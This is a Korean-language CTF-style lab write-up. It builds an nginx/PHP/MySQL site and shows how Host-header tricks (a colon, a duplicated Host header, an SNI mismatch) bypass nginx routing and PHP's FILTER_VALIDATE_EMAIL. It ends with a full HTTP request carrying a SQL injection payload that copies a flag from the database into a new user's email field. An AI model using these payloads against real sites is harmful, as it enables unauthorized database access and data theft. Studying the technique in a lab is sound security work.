Nginx와 PHP의 다양한 처리 방법을 사용하여 Nginx_host를 우회하여 SQL 주입 달성

목차

먼저 환경을 설정해야 합니다

nginx+php+mysql 환경:

웹사이트 구축

FILTER_VALIDATE_EMAIL 우회

방법 1: 호스트 필드를 콜론으로 구분

방법 2: 호스트 필드를 콜론으로 구분

방법 3: SNI 확장 우회


먼저 환경을 설정해야 합니다

nginx+php+mysql 환경:

php 포장:https://www.php.net/distributions/php-8.2.13.tar.gz

yum을 사용하여 직접 설치할 수도 있습니다.

 yum install php

설치가 완료되면 www/html/ 아래에 새 PHP 파일을 생성하여 정상적으로 구문 분석이 가능한지 확인할 수 있습니다.

cat index.php 
<?php phpinfo(); php?>

 

이와 같은 페이지가 표시되면 PHP 설치가 성공적으로 완료되었음을 의미합니다.

ngixn 및 mysql의 특정 설치는 여기에서 찾을 수 있습니다.

Nginx 환경 설정

MySQL 시작을 위한 필수 사항: Linux에서 MySQL 환경을 배포하는 네 가지 방법에 대한 자세한 설명

웹사이트 구축

(1) 소스코드 패키지 다운로드

여기서 나는 당신과 공유합니다:

링크: https://pan.baidu.com/s/1267CI6AmiHOBB1TU_4qhMQ?pwd=8848 
추출 코드: 8848

(2) 소스코드 패키지의 압축을 푼다

(3) 소스코드 패키지를 /usr/local/nginx/html/ 디렉토리로 이동하여 보기 쉽게 이름을 mhz로 변경했습니다.

(4) /usr/local/nginx/html/mhz/protected에서 config.php 파일을 수정합니다.

(5) /mhz 아래에 web이라는 폴더를 만들어 웹 페이지를 저장합니다.

mkdir web

(6) mhz 파일 승인

chmod -R 777 mhz/

(7) 가상 호스트 구성

[root@192~ protected]# vim /etc/nginx/nginx.conf
# 2023.mhz.pw
server {
    listen 80;     
    server_name 2023.mhz.pw;  
    root html/pwnhub/web;
    index index.html index.php;
​
    location / {
        try_files $uri $uri/ /index.php;
        }
 
    location ~ \.php(.*)$ {
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            fastcgi_split_path_info  ^((?U).+\.php)(/?.+)$;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
            fastcgi_param  PATH_INFO  $fastcgi_path_info;
            fastcgi_param  PATH_TRANSLATED  $document_root$fastcgi_path_info;
            include        fastcgi_params;
        }
}

(8) 로컬(centos) DNS 설정

vim /etc/hosts
127.0.0.1   2023.mhz.pw

(9) nginx 서비스 다시 시작

(10) 윈도우에서 테스트하기 위해서는 윈도우의 호스트에 해당 관계를 작성합니다.

192.168.159.200 2023.mhz.pw

(11) 데이터베이스 구성

먼저 centos에 mysql을 입력하고 security라는 데이터베이스를 생성합니다.

create database security;

(12) 그런 다음 데이터베이스를 사용하십시오.

use security;

데이터베이스 및 테이블 생성

create databases security;
use security;
SET NAMES utf8;
SET FOREIGN_KEY_CHECKS = 0;
 
DROP TABLE IF EXISTS `flags`;
CREATE TABLE `flags` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `flag` varchar(256) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4;
 
DROP TABLE IF EXISTS `users`;
CREATE TABLE `users` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `username` varchar(256) NOT NULL,
  `password` varchar(32) NOT NULL,
  `email` varchar(256) DEFAULT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=15 DEFAULT CHARSET=utf8mb4;
 
SET FOREIGN_KEY_CHECKS = 1;

나중에 주입할 때 사용할 플래그를 데이터베이스의 플래그에 삽입할 수 있습니다.

insert into flags (flag) value('I_Love_security');

(12) 그런 다음 브라우저에서 2023.mhz.pw에 액세스해 볼 수 있습니다.

사진과 같이 접속 성공! ! !

(13) 이제 먼저 계정을 등록하세요

페이지 방문http://2023.mhz.pw/main/register

현재 홈페이지 구축이 완료되었습니다.

FILTER_VALIDATE_EMAIL 우회

먼저 이 웹 페이지의 소스 코드를 살펴보겠습니다.

로그인 페이지의 소스 코드:

 function actionLogin(){
 		//判断传参方式是否为表单的post方法
        if ($_POST) {
        	//数据交给arg()来处理,我们需要去查看arg函数
            $username = arg('username');
            $password = md5(arg('password', ''));
			
            if (empty($username) || empty($password)) {
                $this->error('Username or password is empty.');
            }
			
            $user = new User();
            $data = $user->query("SELECT * FROM `{$user->table_name}` 
                                       WHERE `username` = '{$username}' AND `password` = '{$password}'");
            if (empty($data) or $data[0]['password'] !== $password) {
                $this->error('Username or password is error.');
            }

            $_SESSION['user_id'] = $data[0]['id'];
            $this->jump('/');
        }

    }

#以下为core里面的内容
function escape(&$arg) {
    if(is_array($arg)) {
        foreach ($arg as &$value) {
            escape($value);
        }
    } else {
        $arg = str_replace(["'", '\\', '(', ')'], ["‘", '\\\\', '(', ')'], $arg);
    }
}

function arg($name, $default = null, $trim = false) {
    if (isset($_REQUEST[$name])) {
        $arg = $_REQUEST[$name];
    } elseif (isset($_SERVER[$name])) {
        $arg = $_SERVER[$name];
    } else {
        $arg = $default;
    }
    if($trim) {
        $arg = trim($arg);
    }
	return $arg;
}

위의 코드 조각에서 볼 수 있듯이 REQUEST는 작은 따옴표를 필터링하기 위해 전역 필터 함수 escape에 의해 필터링되기 때문에 arg 함수는 요청을 사용하여 수신합니다. 따라서 사용자 이름과 비밀번호는 사용할 수 없습니다. 작은따옴표를 전달하기 위한 주입 지점으로 사용할 수 없습니다. 

그런 다음 등록 페이지의 소스 코드를 살펴보십시오.

function actionRegister(){
	    if ($_POST) {
	        $username = arg('username');
	        $password = arg('password');

	        if (empty($username) || empty($password)) {
	            $this->error('Username or password is empty.');
            }

            $email = arg('email');
            //利用host字段,拼接用户的邮箱
            if (empty($email)) {
                $email = $username . '@' . arg('HTTP_HOST');
            }
			//用户邮箱的合法性验证 --- 利用了FILTER_VALIDATE_EMAIL函数
            if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
                $this->error('Email error.');
            }

            $user = new User();
            $data = $user->query("SELECT * FROM `{$user->table_name}` WHERE `username` = '{$username}'");
            if ($data) {
                $this->error('This username is exists.');
            }

			
            $ret = $user->create([
                'username' => $username,
                'password' => md5($password),
                'email' => $email
            ]);
            
            if ($ret) {
                $_SESSION['user_id'] = $user->lastInsertId();
            } else {
                $this->error('Unknown error.');
            }
        }

	}

 여기서 등록 방법은 create를 사용하여 생성한 후 서버를 통해 HTTP_HOST를 얻습니다. 서버는 아무런 필터링 작업을 수행하지 않습니다. 그런 다음 이 FILTER_VALIDATE_EMAIL을 사용하여 이메일을 필터링합니다. 해당 값을 이메일 검증용 이메일로 사용하며, 이메일 주소가 비어 있으면 이메일 주소로 사용자 이름+@HTTP_HOST를 사용합니다.

FILTER_VALIDATE_EMAIL : 즉, 메일함 형식의 문자열을 탐지합니다.

RFC 3696에서는 이메일 주소가 로컬 부분과 도메인 부분이라는 두 부분으로 나누어진다고 규정합니다.

로컬 부분에는 특수 문자가 포함되어 있으므로 다음과 같이 처리해야 합니다.

  1. 특수 문자를\예:로 이스케이프 처리하세요.Joe\'[email protected]

  2. 또는 다음과 같이 로컬 부분을 큰따옴표로 묶습니다."Joe'Blow"@example.com

  3. 로컬 부분의 길이는 64자를 초과할 수 없습니다.

PHP는 RFC 3696에 따라 완전히 테스트되지는 않았지만 위의 두 번째 작성 방법을 지원합니다. 따라서 이를 사용하여 FILTER_VALIDATE_EMAIL 탐지를 우회할 수 있습니다.

다음 방법을 사용하여 수신 이메일 형식을 시도하여 확인이 통과될 수 있는지 확인할 수 있습니다.

<?php
$email = xxx@xxx'.com;
var_dump(filter_var($email, FILTER_VALIDATE_EMAIL));

액세스를 시도한 후: 

이메일 제한을 우회하지 않는 것을 볼 수 있습니다.

코드의 메일함은 사용자 이름, @, Host로 구성되어 있지만 사용자 이름이 이스케이프 처리되어 있으므로 작은따옴표는 Host에만 넣을 수 있습니다.

사용자 이름 ", 호스트 aaa'"@example.com를 전달할 수 있으며 최종 연결 이메일 주소는 "@aaa'"@example.com.

위의 이메일 주소를 다음 양식으로 수정하여 합법화할 수 있습니다.

<?php
$email = "xxx@xxx'.com";//这里的xxx就写用户名和网站
var_dump(filter_var($email, FILTER_VALIDATE_EMAIL));

 web.php 파일을 다음과 같이 수정할 수 있습니다.

<?php
echo $_SERVER['HTTP_HOST'];

HTTP_HOST의 값을 찾으려면

여기에 인쇄된 도메인 이름을 볼 수 있습니다.

그런 다음 패킷 캡처를 사용하여 등록 페이지의 데이터 패킷을 캡처하고 위의 방법을 사용하여 이러한 호스트를 구성해 봅니다. 

반환된 페이지는 404 notfound 입니다. 이는 nginx가 어떤 모듈을 파싱해야 할지 모르기 때문에 처리를 위해 기본 모듈에 넘겨주고, 기본 경로에 이 페이지를 배포했기 때문에 나타나는 것입니다. .404 반환 페이지.

이를 우회하는 방법에는 세 가지가 있습니다.

방법 1: 호스트 필드를 콜론으로 구분

Nginx가 호스트를 처리할 때 호스트를 콜론을 사용하여 호스트 이름과 포트로 분할하고 포트 부분은 삭제됩니다.

따라서 Host 값을 2023.mhz.pw:xxx'"@example.com로 설정하여 대상 서버 블록에 액세스할 수 있습니다

nginx가 이를 처리할 때 다음을 삭제합니다: `2023.mhz.pw

PHP로 수신할 때 모두 수신:2023.mhz.pw:xxx'"@example.com

​​​​​​방법 2: 이중 쓰기 호스트 우회

두 개의 Host 헤더를 전달하면 Nginx가 첫 번째 헤더를 가져오고 PHP-FPM이 두 번째 헤더를 가져옵니다.

즉, 내가 전달하는 경우:

Host: 2023.mhz.pw
Host: xxx'"@example.com

Nginx는 호스트를2023.mhz.pw로 간주하고 처리를 위해 대상 서버 블록에 넘겨줍니다.

그러나 PHP에서 $_SERVER['HTTP_HOST']을 사용하여 얻은 값은 xxx'"@example.com입니다.

참고: 이 방법은 상위 버전에서는 사용할 수 없지만, 하위 버전에서는 사용할 수 있습니다.

방법 3:SNI 확장 프로그램 우회

SNI 소개

초기 SSLv2는 전통적인 공개 키 인프라 PKI(Public Key Infrastructure)를 기반으로 설계되었으며, 기본적으로 서버(또는 IP)는 하나의 서비스만 제공한다고 믿었기 때문에 SSL 핸드셰이크 중에 서버는 다음을 확신할 수 있었습니다. 클라이언트가 어떤 인증서인지 요청했습니다.

그런데 사람들이 전혀 예상하지 못했던 것은 가상호스트의 발전이 활발해지면서 하나의 IP가 여러 개의 도메인 이름에 대응하는 상황이 되었다는 점입니다. *.yourdomain.com의 모든 도메인 이름을 인증할 수 있는 범 도메인 이름 인증서 신청과 같은 몇 가지 해결 방법이 있지만 yourdomain.net이라는 도메인 이름도 있는 경우에는 작동하지 않습니다.

HTTP 프로토콜에서는 요청된 도메인 이름이 호스트 헤더(Host)로 HTTP 헤더에 배치되므로 서버는 어떤 도메인 이름이 요청에 전달되어야 하는지 알 수 있지만 초기 SSL에서는 SSL 핸드셰이크 프로세스 중에 이를 수행할 수 없었습니다. , 호스트 정보가 전혀 없으므로 서버는 일반적으로 구성에서 사용 가능한 첫 번째 인증서를 반환합니다. 따라서 일부 이전 환경에서는 여러 도메인 이름에 별도로 구성된 인증서가 있을 수 있지만 항상 동일한 인증서가 반환됩니다.

문제의 원인은SSL 핸드셰이크 중 호스트 헤더 정보가 부족하기 때문이므로 이를 보완하세요.

SNI(Server Name Indication)는 RFC 4366에 정의되어 있습니다. SSL/TLS를 개선하기 위해 사용되는 기술로 SSLv3/TLSv1에서 활성화됩니다. SSL 핸드셰이크 요청(특히 클라이언트가 발행한 SSL 요청의 ClientHello 단계)을 시작할 때 클라이언트가 요청된 호스트 정보를 제출할 수 있도록 하여 서버가 올바른 정보로 전환할 수 있도록 합니다. 1. 도메인을 검색하고 해당 인증서를 반환합니다.

SNI를 사용하려면 클라이언트와 서버가 모두 조건을 만족해야 하는데 다행히 대부분의 최신 브라우저는 SSLv3/TLSv1을 지원하므로 SNI가 주는 편리함을 누릴 수 있습니다.

방법 3의 원칙은 https 데이터 패킷을 보낼 때 SNI에 지정된 도메인 이름이 example2.com이므로 HTTP 메시지의 Host 헤더와 일치할 필요가 없다는 것입니다. nginx는 SNI에서 도메인 이름을 다음과 같이 선택합니다. 서버 이름.

PHP는 호스트 헤더를 수신합니다

Nginx는 SNI 도메인 이름을 받습니다.

위의 세 가지 방법으로 인해 mysql이 오류를 보고합니다.

MySQL 주입

이제 SQL 오류가 트리거되었으므로 SQL 주입이 임박했음을 의미합니다. 소스코드에 포함된 SQL 구조를 읽어보면 플래그가 flags 테이블에 있다는 것을 알 수 있으므로, 별 무리 없이 직접 테이블을 인젝션하고 읽어온다.

디스플레이 비트 삽입

사용자가 성공적으로 로그인하면 사용자의 이메일 주소가 표시되므로 이 위치에 데이터를 삽입할 수 있습니다. 다음 패킷을 보냅니다:

POST /main/register HTTP/1.1
Host: 2023.mhz.pw
Host: '),('t123',md5(12123),(select(flag)from(flags)))#"@a.com
insert into users ...
​
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: multipart/form-data; boundary=--------356678531
Content-Length: 176
​
----------356678531
Content-Disposition: form-data; name="username"
​
"a
----------356678531
Content-Disposition: form-data; name="password"
​
aaa
----------356678531--

INSERT 문을 닫고 새 사용자를 삽입한 다음t123 이메일 필드에 플래그를 읽어 놓은 것을 볼 수 있습니다.

사용자로 로그인하여 플래그를 직접 가져옵니다.

추천

출처blog.csdn.net/qq_68163788/article/details/134595825